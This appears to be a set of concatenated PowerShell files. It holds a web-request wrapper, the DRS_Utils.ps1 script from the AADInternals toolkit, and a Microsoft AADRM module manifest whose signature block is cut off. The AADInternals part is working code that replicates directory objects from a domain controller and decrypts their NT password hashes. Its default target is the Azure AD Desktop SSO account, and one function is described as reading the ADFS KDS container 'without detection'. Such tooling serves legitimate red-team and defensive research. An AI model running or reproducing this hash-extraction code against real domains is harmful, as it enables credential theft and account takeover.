# PSVersion aware Invoke-WebRequest
# Jun 27th 2023
Function Invoke-WebRequest2
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true)]
[String]$Uri,
[parameter(Mandatory=$false)]
[String]$Method = "GET",
[parameter(Mandatory=$false)]
[PSObject]$WebSession,
[parameter(Mandatory=$false)]
[PSObject]$Headers,
[parameter(Mandatory=$false)]
[PSObject]$Body,
[parameter(Mandatory=$false)]
[String]$ContentType = "application/x-www-form-urlencoded",
[parameter(Mandatory=$false)]
[int]$MaximumRedirection = 5,
[parameter(Mandatory=$false)]
[String]$SessionVariable,
[parameter(Mandatory=$false)]
[String]$OutFile
)
process
{
$arguments = @{
"UseBasicParsing" = $true
"Uri" = $uri
"Method" = $Method
"MaximumRedirection" = $MaximumRedirection
"ErrorAction" = $ErrorActionPreference
"Headers" = $Headers
"Body" = $body
"ContentType" = $ContentType
"OutFile" = $OutFile
}
if(![string]::IsNullOrEmpty($SessionVariable))
{
$arguments["SessionVariable"] = $SessionVariable
}
elseif($WebSession -ne $null)
{
$arguments["WebSession"] = $WebSession
}
# PSVersions >= 7 doesn't respect the ErrorAction SilentlyContinue so we need to use SkipHttpErrorCheck
if(($PSVersionTable.PSVersion.Major -ge 7) -and ($ErrorActionPreference -eq "SilentlyContinue"))
{
$arguments["SkipHttpErrorCheck"] = $true
}
Invoke-WebRequest @arguments
}
} |
DRS_Utils.ps1 | AADInternals-0.9.4 | # This script contains functions for Active Directory Replication Service (DRS)
# Mar 22nd 2021
function Get-DesktopSSOAccountPassword
{
<#
.SYNOPSIS
Gets NTHash of Desktop SSO account
.DESCRIPTION
Gets NTHash of Desktop SSO account using Directory Replication Service (DRS).
.PARAMETER AccountName
The name of the Desktop SSO computer account. Defaults to AZUREADSSOACC
.PARAMETER Credentials
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
.PARAMETER Server
Name or ip address of the Domain Contoller.
.PARAMETER AsHex
If defined, returns the NTHash as hex string.
.Example
$cred = Get-Credential
PS C:\>$NTHash = Get-AADIntDesktopSSOAccountPassword -Credentials $cred -Server 192.168.0.10
.Example
$cred = Get-Credential
PS C:\>Get-AADIntDesktopSSOAccountPassword -Credentials $cred -Server dc01 -AsHex
ed31d88da3fc9aaa850ead2161faa815
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$Server,
[Parameter(Mandatory=$true)]
[pscredential]$Credentials,
[Parameter(Mandatory=$false)]
[String]$AccountName="AZUREADSSOACC",
[Parameter(Mandatory=$false)]
[Switch]$AsHex
)
Process
{
# Get the object guid for the given account name
$dirEntry = [System.DirectoryServices.DirectoryEntry]::new("LDAP://$Server",$Credentials.UserName, $Credentials.GetNetworkCredential().Password)
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new($dirEntry)
$ADSearch.Filter = "(name=$AccountName)"
$aduser = $ADSearch.FindOne()
$ObjectGuid = $aduser.Properties["ObjectGuid"][0]
if($AsHex)
{
return Get-ADUserNTHash -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -AsHex
}
else
{
return Get-ADUserNTHash -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid
}
}
}
# Mar 21st 2021
function Get-ADUserNTHash
{
<#
.SYNOPSIS
Gets NTHash of the given object
.DESCRIPTION
Gets NTHash for the given object ID using Directory Replication Service (DRS).
.PARAMETER ObjectGuid
Guid of the AD object
.PARAMETER Credentials
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
.PARAMETER Server
Name or ip address of the Domain Contoller.
.PARAMETER AsHex
If defined, returns the NTHash as hex string.
.Example
$cred = Get-Credential
PS C:\>$NTHash = Get-AADIntAdUserNTHash -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server 192.168.0.10
.Example
$cred = Get-Credential
PS C:\>Get-AADIntAdUserNTHash -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server dc01 -AsHex
ed31d88da3fc9aaa850ead2161faa815
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$Server,
[Parameter(Mandatory=$true)]
[pscredential]$Credentials,
[Parameter(ParameterSetName='Guid',Mandatory=$true)]
[Guid]$ObjectGuid=[guid]::Empty,
[Parameter(ParameterSetName='DN',Mandatory=$true)]
[String]$DistinguishedName,
[Parameter(Mandatory=$false)]
[Switch]$AsHex
)
Process
{
$ADObject = Replicate-ADObject -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -DistinguishedName $DistinguishedName
if($ADObject.NTHash)
{
if($AsHex)
{
return Convert-ByteArrayToHex -Bytes $ADObject.NTHash
}
else
{
return $ADObject.NTHash
}
}
}
}
# Mar 21st 2021
function Get-ADUserThumbnailPhoto
{
<#
.SYNOPSIS
Gets thumbnailPhoto of the given object
.DESCRIPTION
Gets thumbnailPhoto for the given object ID using Directory Replication Service (DRS).
Can be used to access ADFS KDS container without detection.
.PARAMETER ObjectGuid
Guid of the AD object
.PARAMETER Credentials
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
.PARAMETER Server
Name or ip address of the Domain Contoller.
.PARAMETER AsHex
If defined, returns the thumbnailPhoto as hex string.
.Example
$cred = Get-Credential
PS C:\>$photo = Get-AADIntADUserThumbnailPhoto -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server 192.168.0.10
.Example
$cred = Get-Credential
PS C:\>Get-AADIntADUserThumbnailPhoto -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server dc01 -AsHex
ed31d88da3fc9aaa850ead2161faa815
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$Server,
[Parameter(Mandatory=$true)]
[pscredential]$Credentials,
[Parameter(ParameterSetName='Guid',Mandatory=$true)]
[Guid]$ObjectGuid=[guid]::Empty,
[Parameter(ParameterSetName='DN',Mandatory=$true)]
[String]$DistinguishedName,
[Parameter(Mandatory=$false)]
[Switch]$AsHex
)
Process
{
$ADObject = Replicate-ADObject -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -DistinguishedName $DistinguishedName
if($AsHex)
{
return Convert-ByteArrayToHex -Bytes $ADObject.ThumbnailPhoto
}
else
{
return $ADObject.ThumbnailPhoto
}
}
}
# Mar 21st 2021
# Replicate a single AD object using DSInternals.Replication
function Replicate-ADObject
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$Server,
[Parameter(Mandatory=$true)]
[pscredential]$Credentials,
[Parameter(Mandatory=$false)]
[Guid]$ObjectGuid,
[Parameter(Mandatory=$false)]
[String]$DistinguishedName
)
Begin
{
try
{
# Import DSInternals dlls
Add-Type -Path "$PSScriptRoot\DSInternals\NDceRpc.Microsoft.dll"
Add-Type -Path "$PSScriptRoot\DSInternals\DSInternals.Replication.Interop.dll"
Add-Type -Path "$PSScriptRoot\DSInternals\DSInternals.Replication.dll"
# Import native decrypt function
$NativeDecryptSource=@"
[DllImport("advapi32.dll", EntryPoint = "SystemFunction027", SetLastError = true)]
public static extern uint RtlDecryptNtOwfPwdWithIndex([In] byte[] encryptedNtOwfPassword, [In] ref int index, [In, Out] byte[] ntOwfPassword);
"@
$NativeDecrypt = Add-Type -memberDefinition $NativeDecryptSource -passthru -name NativeDecrypt -ErrorAction SilentlyContinue
Remove-Variable NativeDecryptSource
}
catch
{
Throw "Could not load required DLLs: $_.Exception.Message"
}
}
Process
{
# Connect to domain controller
Write-Verbose "Connecting to $Server as $($Credentials.UserName)"
$repClient = [DSInternals.Replication.DirectoryReplicationClient]::new($Server,[DSInternals.Replication.RpcProtocol]::TCP,$Credentials)
$sessionKey = $repClient.SessionKey
try
{
# Get the AD object
if($ObjectGuid -ne [guid]::Empty)
{
Write-Verbose "Getting AD object for $($ObjectGuid.ToString())"
$object = $repClient.GetReplicaObject($ObjectGuid)
}
else
{
Write-Verbose "Getting AD object for $DistinguishedName)"
$object = $repClient.GetReplicaObject($DistinguishedName)
}
Write-Verbose "Found object: $($object.DistinguishedName)"
# Get the attributes
# https://github.com/vletoux/ADSecrets/blob/master/AttdIDToAttribute
if($object.Attributes[1441827]) # thumbnailPhoto
{
$thumbnailPhoto = $object.Attributes[1441827].Values[0]
Write-Verbose " thumbnailPhoto ($($thumbnailPhoto.Count) bytes)"
$object | Add-Member -NotePropertyName "thumbnailPhoto" -NotePropertyValue $thumbnailPhoto
}
if($object.Attributes[589914]) # Decrypt the NT hash if present
{
$ntHash = $object.Attributes[ 589914].Values[0] # unicodePwd
# First round decrypt with session key
$salt = $ntHash[ 0..15]
$encSecret = $ntHash[16..35]
$md5 = [System.Security.Cryptography.MD5]::Create()
$md5.TransformBlock($sessionKey,0, $sessionKey.Count,$null,0)
$md5.TransformFinalBlock($salt, 0, 16)
$rc4Key = $md5.Hash
$encSecret = (Get-RC4 -Key $rc4Key -Data $encSecret)
# Second round decrypt with RID (Relative ID)
$sid = $object.Attributes[589970].Values[0] # objectSid
$rid = [BitConverter]::ToInt32($sid,$sid.Length - 4)
$encSecret = $encSecret[4..19] # Strip the CRC
$decSecret = [byte[]]::new(16)
$NativeDecrypt::RtlDecryptNtOwfPwdWithIndex($encSecret, [ref]$rid, $decSecret)
Write-Verbose " NTHash: $(Convert-ByteArrayToHex -Bytes $decSecret)"
$object | Add-Member -NotePropertyName "NTHash" -NotePropertyValue $decSecret
}
}
catch
{
if($_.Exception.Message.Contains("RPC"))
{
Throw "Could not connect to $Server as $($Credentials.UserName), check the server and credentials!"
}
}
finally
{
$repClient.Dispose()
}
if(!$object)
{
if($ObjectGuid -ne [guid]::Empty)
{
Throw "No AD object found for $($ObjectGuid.ToString())"
}
else
{
Throw "No AD object found for $DistinguishedName"
}
}
return $object
}
}
|
AADRM.psd1 | AADRM-2.13.1 | #
# Module manifest for module 'AADRM'
#
# Generated by: irzhan
#
# Generated on: 1/29/2018
#
@{
# Script module or binary module file associated with this manifest.
# RootModule = ''
#########################
### Module Version ###
#########################
# Update the version before publishing
ModuleVersion = '2.13.1.0'
# Supported PSEditions
# CompatiblePSEditions = @()
# ID used to uniquely identify this module
GUID = 'e338ccc0-3333-4479-87fe-66382d33782d'
# Author of this module
Author = 'Microsoft Corporation'
# Company or vendor of this module
CompanyName = 'Microsoft'
# Copyright statement for this module
Copyright = '(C) Microsoft Corporation. All rights reserved.'
# Description of the functionality provided by this module
Description = 'PowerShell module for admins to configure and manage the protection service for Azure Information Protection.'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '3.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
DotNetFrameworkVersion = '4.5'
# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = @()
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
FormatsToProcess = @("AADRM.Format.ps1xml")
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
NestedModules = @("Microsoft.RightsManagementServices.Online.Admin.PowerShell")
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
FunctionsToExport = @()
# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export.
CmdletsToExport = @( "Add-AadrmRoleBasedAdministrator",
"Add-AadrmSuperUser",
"Add-AadrmTemplate",
"Connect-AadrmService",
"Disable-Aadrm",
"Disable-AadrmDevicePlatform",
"Disable-AadrmIPCv3Service",
"Disable-AadrmSuperUserFeature",
"Disable-AadrmUsageLogFeature",
"Disconnect-AadrmService",
"Enable-Aadrm",
"Enable-AadrmDevicePlatform",
"Enable-AadrmIPCv3Service",
"Enable-AadrmSuperUserFeature",
"Enable-AadrmUsageLogFeature",
"Export-AadrmTemplate",
"Get-Aadrm",
"Get-AadrmAdminLog",
"Get-AadrmConfiguration",
"Get-AadrmDevicePlatform",
"Get-AadrmMigrationUrl",
"Get-AadrmIPCv3Service",
"Get-AadrmRoleBasedAdministrator",
"Get-AadrmSuperUser",
"Get-AadrmSuperUserFeature",
"Get-AadrmTemplate",
"Get-AadrmTemplateProperty",
"Get-AadrmUsageLogFeature",
"Get-AadrmUsageLogStorageAccount",
"Get-AadrmOnboardingControlPolicy",
"Import-AadrmTemplate",
"Import-AadrmTpd",
"New-AadrmRightsDefinition",
"Remove-AadrmRoleBasedAdministrator",
"Remove-AadrmSuperUser",
"Remove-AadrmTemplate",
"Set-AadrmMigrationUrl",
"Set-AadrmTemplateProperty",
"Set-AadrmUsageLogStorageAccount",
"Set-AadrmOnboardingControlPolicy",
"Set-AadrmKeyProperties",
"Get-AadrmUsageLogLastCounterValue",
"Get-AadrmUsageLog",
"Get-AadrmKeys",
"Use-AadrmKeyVaultKey",
"Convert-AadrmKeyToKeyVault",
"Get-AadrmMaxUseLicenseValidityTime",
"Set-AadrmMaxUseLicenseValidityTime",
"Get-AadrmDocumentTrackingFeature",
"Enable-AadrmDocumentTrackingFeature",
"Disable-AadrmDocumentTrackingFeature",
"Set-AadrmSuperUserGroup",
"Get-AadrmSuperUserGroup",
"Clear-AadrmSuperUserGroup",
"Get-AadrmUserLog",
"Get-AadrmDoNotTrackUserGroup",
"Set-AadrmDoNotTrackUserGroup",
"Clear-AadrmDoNotTrackUserGroup",
"Get-AadrmDocumentLog",
"Get-AadrmTrackingLog")
# Variables to export from this module
VariablesToExport = '*'
# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
AliasesToExport = @()
# DSC resources to export from this module
# DscResourcesToExport = @()
# List of all modules packaged with this module
# ModuleList = @()
# List of all files packaged with this module
# FileList = @()
# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
PrivateData = @{
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
Tags = @('AzureRMS', 'AIP', 'AzureInformationProtection', 'protection')
# A URL to the license for this module.
LicenseUri = 'https://docs.microsoft.com/legal/information-protection/software-license-terms'
# A URL to the main website for this project.
ProjectUri = 'https://docs.microsoft.com/powershell/module/aadrm'
# A URL to an icon representing this module.
IconUri = 'https://docs.microsoft.com/en-us/information-protection/media/lockicon.png'
# ReleaseNotes of this module
ReleaseNotes = 'Any significant changes to the cmdlets are included in a summary of documentation updates that are published on the Azure Information Protection technical blog (https://aka.ms/AIPblog). These posts are titled: "Azure Information Protection Documentation Update for <month year>".'
} # End of PSData hashtable
} # End of PrivateData hashtable
# HelpInfo URI of this module
HelpInfoURI = 'https://docs.microsoft.com/information-protection/deploy-use/administer-powershell'
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
# SIG # Begin signature block
# MIIkAAYJKoZIhvcNAQcCoIIj8TCCI+0CAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCqcbvWbVfOC8JH
# RgiHUf0EVXWbsazRBa96Qjft9vlVkqCCDYMwggYBMIID6aADAgECAhMzAAAAxOmJ
# +HqBUOn/AAAAAADEMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD
# VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy
# b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p
# bmcgUENBIDIwMTEwHhcNMTcwODExMjAyMDI0WhcNMTgwODExMjAyMDI0WjB0MQsw
# CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u
# ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4wHAYDVQQDExVNaWNy
# b3NvZnQgQ29ycG9yYXRpb24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
# AQCIirgkwwePmoB5FfwmYPxyiCz69KOXiJZGt6PLX4kvOjMuHpF4+nypH4IBtXrL
# GrwDykbrxZn3+wQd8oUK/yJuofJnPcUnGOUoH/UElEFj7OO6FYztE5o13jhwVG87
# 7K1FCTBJwb6PMJkMy3bJ93OVFnfRi7uUxwiFIO0eqDXxccLgdABLitLckevWeP6N
# +q1giD29uR+uYpe/xYSxkK7WryvTVPs12s1xkuYe/+xxa8t/CHZ04BBRSNTxAMhI
# TKMHNeVZDf18nMjmWuOF9daaDx+OpuSEF8HWyp8dAcf9SKcTkjOXIUgy+MIkogCy
# vlPKg24pW4HvOG6A87vsEwvrAgMBAAGjggGAMIIBfDAfBgNVHSUEGDAWBgorBgEE
# AYI3TAgBBggrBgEFBQcDAzAdBgNVHQ4EFgQUy9ZihM9gOer/Z8Jc0si7q7fDE5gw
# UgYDVR0RBEswSaRHMEUxDTALBgNVBAsTBE1PUFIxNDAyBgNVBAUTKzIzMDAxMitj
# ODA0YjVlYS00OWI0LTQyMzgtODM2Mi1kODUxZmEyMjU0ZmMwHwYDVR0jBBgwFoAU
# SG5k5VAF04KqFzc3IrVtqMp1ApUwVAYDVR0fBE0wSzBJoEegRYZDaHR0cDovL3d3
# dy5taWNyb3NvZnQuY29tL3BraW9wcy9jcmwvTWljQ29kU2lnUENBMjAxMV8yMDEx
# LTA3LTA4LmNybDBhBggrBgEFBQcBAQRVMFMwUQYIKwYBBQUHMAKGRWh0dHA6Ly93
# d3cubWljcm9zb2Z0LmNvbS9wa2lvcHMvY2VydHMvTWljQ29kU2lnUENBMjAxMV8y
# MDExLTA3LTA4LmNydDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEBCwUAA4ICAQAG
# Fh/bV8JQyCNPolF41+34/c291cDx+RtW7VPIaUcF1cTL7OL8mVuVXxE4KMAFRRPg
# mnmIvGar27vrAlUjtz0jeEFtrvjxAFqUmYoczAmV0JocRDCppRbHukdb9Ss0i5+P
# WDfDThyvIsoQzdiCEKk18K4iyI8kpoGL3ycc5GYdiT4u/1cDTcFug6Ay67SzL1BW
# XQaxFYzIHWO3cwzj1nomDyqWRacygz6WPldJdyOJ/rEQx4rlCBVRxStaMVs5apao
# pIhrlihv8cSu6r1FF8xiToG1VBpHjpilbcBuJ8b4Jx/I7SCpC7HxzgualOJqnWmD
# oTbXbSD+hdX/w7iXNgn+PRTBmBSpwIbM74LBq1UkQxi1SIV4htD50p0/GdkUieeN
# n2gkiGg7qceATibnCCFMY/2ckxVNM7VWYE/XSrk4jv8u3bFfpENryXjPsbtrj4Ns
# h3Kq6qX7n90a1jn8ZMltPgjlfIOxrbyjunvPllakeljLEkdi0iHv/DzEMQv3Lz5k
# pTdvYFA/t0SQT6ALi75+WPbHZ4dh256YxMiMy29H4cAulO2x9rAwbexqSajplnbI
# vQjE/jv1rnM3BrJWzxnUu/WUyocc8oBqAU+2G4Fzs9NbIj86WBjfiO5nxEmnL9wl
# iz1e0Ow0RJEdvJEMdoI+78TYLaEEAo5I+e/dAs8DojCCB3owggVioAMCAQICCmEO
# kNIAAAAAAAMwDQYJKoZIhvcNAQELBQAwgYgxCzAJBgNVBAYTAlVTMRMwEQYDVQQI
# EwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3Nv
# ZnQgQ29ycG9yYXRpb24xMjAwBgNVBAMTKU1pY3Jvc29mdCBSb290IENlcnRpZmlj
# YXRlIEF1dGhvcml0eSAyMDExMB4XDTExMDcwODIwNTkwOVoXDTI2MDcwODIxMDkw
# OVowfjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcT
# B1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEoMCYGA1UE
# AxMfTWljcm9zb2Z0IENvZGUgU2lnbmluZyBQQ0EgMjAxMTCCAiIwDQYJKoZIhvcN
# AQEBBQADggIPADCCAgoCggIBAKvw+nIQHC6t2G6qghBNNLrytlghn0IbKmvpWlCq
# uAY4GgRJun/DDB7dN2vGEtgL8DjCmQawyDnVARQxQtOJDXlkh36UYCRsr55JnOlo
# XtLfm1OyCizDr9mpK656Ca/XllnKYBoF6WZ26DJSJhIv56sIUM+zRLdd2MQuA3Wr
# aPPLbfM6XKEW9Ea64DhkrG5kNXimoGMPLdNAk/jj3gcN1Vx5pUkp5w2+oBN3vpQ9
# 7/vjK1oQH01WKKJ6cuASOrdJXtjt7UORg9l7snuGG9k+sYxd6IlPhBryoS9Z5JA7
# La4zWMW3Pv4y07MDPbGyr5I4ftKdgCz1TlaRITUlwzluZH9TupwPrRkjhMv0ugOG
# jfdf8NBSv4yUh7zAIXQlXxgotswnKDglmDlKNs98sZKuHCOnqWbsYR9q4ShJnV+I
# 4iVd0yFLPlLEtVc/JAPw0XpbL9Uj43BdD1FGd7P4AOG8rAKCX9vAFbO9G9RVS+c5
# oQ/pI0m8GLhEfEXkwcNyeuBy5yTfv0aZxe/CHFfbg43sTUkwp6uO3+xbn6/83bBm
# 4sGXgXvt1u1L50kppxMopqd9Z4DmimJ4X7IvhNdXnFy/dygo8e1twyiPLI9AN0/B
# 4YVEicQJTMXUpUMvdJX3bvh4IFgsE11glZo+TzOE2rCIF96eTvSWsLxGoGyY0uDW
# iIwLAgMBAAGjggHtMIIB6TAQBgkrBgEEAYI3FQEEAwIBADAdBgNVHQ4EFgQUSG5k
# 5VAF04KqFzc3IrVtqMp1ApUwGQYJKwYBBAGCNxQCBAweCgBTAHUAYgBDAEEwCwYD
# VR0PBAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUci06AjGQQ7kU
# BU7h6qfHMdEjiTQwWgYDVR0fBFMwUTBPoE2gS4ZJaHR0cDovL2NybC5taWNyb3Nv
# ZnQuY29tL3BraS9jcmwvcHJvZHVjdHMvTWljUm9vQ2VyQXV0MjAxMV8yMDExXzAz
# XzIyLmNybDBeBggrBgEFBQcBAQRSMFAwTgYIKwYBBQUHMAKGQmh0dHA6Ly93d3cu
# bWljcm9zb2Z0LmNvbS9wa2kvY2VydHMvTWljUm9vQ2VyQXV0MjAxMV8yMDExXzAz
# XzIyLmNydDCBnwYDVR0gBIGXMIGUMIGRBgkrBgEEAYI3LgMwgYMwPwYIKwYBBQUH
# AgEWM2h0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2lvcHMvZG9jcy9wcmltYXJ5
# Y3BzLmh0bTBABggrBgEFBQcCAjA0HjIgHQBMAGUAZwBhAGwAXwBwAG8AbABpAGMA
# eQBfAHMAdABhAHQAZQBtAGUAbgB0AC4gHTANBgkqhkiG9w0BAQsFAAOCAgEAZ/KG
# pZjgVHkaLtPYdGcimwuWEeFjkplCln3SeQyQwWVfLiw++MNy0W2D/r4/6ArKO79H
# qaPzadtjvyI1pZddZYSQfYtGUFXYDJJ80hpLHPM8QotS0LD9a+M+By4pm+Y9G6XU
# tR13lDni6WTJRD14eiPzE32mkHSDjfTLJgJGKsKKELukqQUMm+1o+mgulaAqPypr
# WEljHwlpblqYluSD9MCP80Yr3vw70L01724lruWvJ+3Q3fMOr5kol5hNDj0L8giJ
# 1h/DMhji8MUtzluetEk5CsYKwsatruWy2dsViFFFWDgycScaf7H0J/jeLDogaZiy
# WYlobm+nt3TDQAUGpgEqKD6CPxNNZgvAs0314Y9/HG8VfUWnduVAKmWjw11SYobD
# HWM2l4bf2vP48hahmifhzaWX0O5dY0HjWwechz4GdwbRBrF1HxS+YWG18NzGGwS+
# 30HHDiju3mUv7Jf2oVyW2ADWoUa9WfOXpQlLSBCZgB/QACnFsZulP0V3HjXG0qKi
# n3p6IvpIlR+r+0cjgPWe+L9rt0uX4ut1eBrs6jeZeRhL/9azI2h15q/6/IvrC4Dq
# aTuv/DDtBEyO3991bWORPdGdVk5Pv4BXIqF4ETIheu9BCrE/+6jMpF3BoYibV3FW
# TkhFwELJm3ZbCoBIa/15n8G9bW1qyVJzEw16UM0xghXTMIIVzwIBATCBlTB+MQsw
# CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u
# ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSgwJgYDVQQDEx9NaWNy
# b3NvZnQgQ29kZSBTaWduaW5nIFBDQSAyMDExAhMzAAAAxOmJ+HqBUOn/AAAAAADE
# MA0GCWCGSAFlAwQCAQUAoIHGMBkGCSqGSIb3DQEJAzEMBgorBgEEAYI3AgEEMBwG
# CisGAQQBgjcCAQsxDjAMBgorBgEEAYI3AgEVMC8GCSqGSIb3DQEJBDEiBCBmddKz
# YBjCEMwjOswdqVHih4bMc3tBAEDGilZHPPKhnTBaBgorBgEEAYI3AgEMMUwwSqAk
# gCIATQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzoSKAIGh0dHA6Ly93
# d3cubWljcm9zb2Z0LmNvbS93aW5kb3dzMA0GCSqGSIb3DQEBAQUABIIBAC9zdMZK
# O51cN3Q72Na8BSAqSFvOxrRN3MOyJP15ERs4dygfmfWFW42z3TvoMJHqToCcLgpX
# aHY4PKLeVflpxgyJpDepuNcuMSSD9nN/cA5NxPbIPREhYYQMeQfK2DSt0+bKE5Zv
# nqNk7ZLt5H/a+N9uilhfE2RGkObAEe0qx0Mg9WIhxCNnXbkxwiHo9g4G6xL/eJBs
# p6iEY5/GSmAC2+2ArZNeQDDkVVJX6Agtrj2CUkrOm0DkuRQl/AN92H9KgtONm1cA
# 7FVEWm6IK32fKSNgHvmwnaKs6U0Mla9xpddLaXQP8zy9Js1Q9h+bjD14jbyC2DVS
# fekL41oEZ5C+sqGhghNFMIITQQYKKwYBBAGCNwMDATGCEzEwghMtBgkqhkiG9w0B
# BwKgghMeMIITGgIBAzEPMA0GCWCGSAFlAwQCAQUAMIIBPAYLKoZIhvcNAQkQAQSg
# ggErBIIBJzCCASMCAQEGCisGAQQBhFkKAwEwMTANBglghkgBZQMEAgEFAAQgnENo
# ulCYj3XXUK27Shz/d/xz2hfbb9LR3hzzO+s96hUCBlreZc04nxgTMjAxODA1MDIw
# NjE3MzQuNTg5WjAHAgEBgAIB9KCBuKSBtTCBsjELMAkGA1UEBhMCVVMxEzARBgNV
# BAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jv
# c29mdCBDb3Jwb3JhdGlvbjEMMAoGA1UECxMDQU9DMScwJQYDVQQLEx5uQ2lwaGVy
# IERTRSBFU046RDIzNi0zN0RBLTk3NjExJTAjBgNVBAMTHE1pY3Jvc29mdCBUaW1l
# LVN0YW1wIFNlcnZpY2Wggg7JMIIGcTCCBFmgAwIBAgIKYQmBKgAAAAAAAjANBgkq
# hkiG9w0BAQsFADCBiDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24x
# EDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlv
# bjEyMDAGA1UEAxMpTWljcm9zb2Z0IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5
# IDIwMTAwHhcNMTAwNzAxMjEzNjU1WhcNMjUwNzAxMjE0NjU1WjB8MQswCQYDVQQG
# EwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwG
# A1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSYwJAYDVQQDEx1NaWNyb3NvZnQg
# VGltZS1TdGFtcCBQQ0EgMjAxMDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
# ggEBAKkdDbx3EYo6IOz8E5f1+n9plGt0VBDVpQoAgoX77XxoSyxfxcPlYcJ2tz5m
# K1vwFVMnBDEfQRsalR3OCROOfGEwWbEwRA/xYIiEVEMM1024OAizQt2TrNZzMFcm
# gqNFDdDq9UeBzb8kYDJYYEbyWEeGMoQedGFnkV+BVLHPk0ySwcSmXdFhE24oxhr5
# hoC732H8RsEnHSRnEnIaIYqvS2SJUGKxXf13Hz3wV3WsvYpCTUBR0Q+cBj5nf/Vm
# wAOWRH7v0Ev9buWayrGo8noqCjHw2k4GkbaICDXoeByw6ZnNPOcvRLqn9NxkvaQB
# wSAJk3jN/LzAyURdXhacAQVPIk0CAwEAAaOCAeYwggHiMBAGCSsGAQQBgjcVAQQD
# AgEAMB0GA1UdDgQWBBTVYzpcijGQ80N7fEYbxTNoWoVtVTAZBgkrBgEEAYI3FAIE
# DB4KAFMAdQBiAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAfBgNV
# HSMEGDAWgBTV9lbLj+iiXGJo0T2UkFvXzpoYxDBWBgNVHR8ETzBNMEugSaBHhkVo
# dHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL2NybC9wcm9kdWN0cy9NaWNSb29D
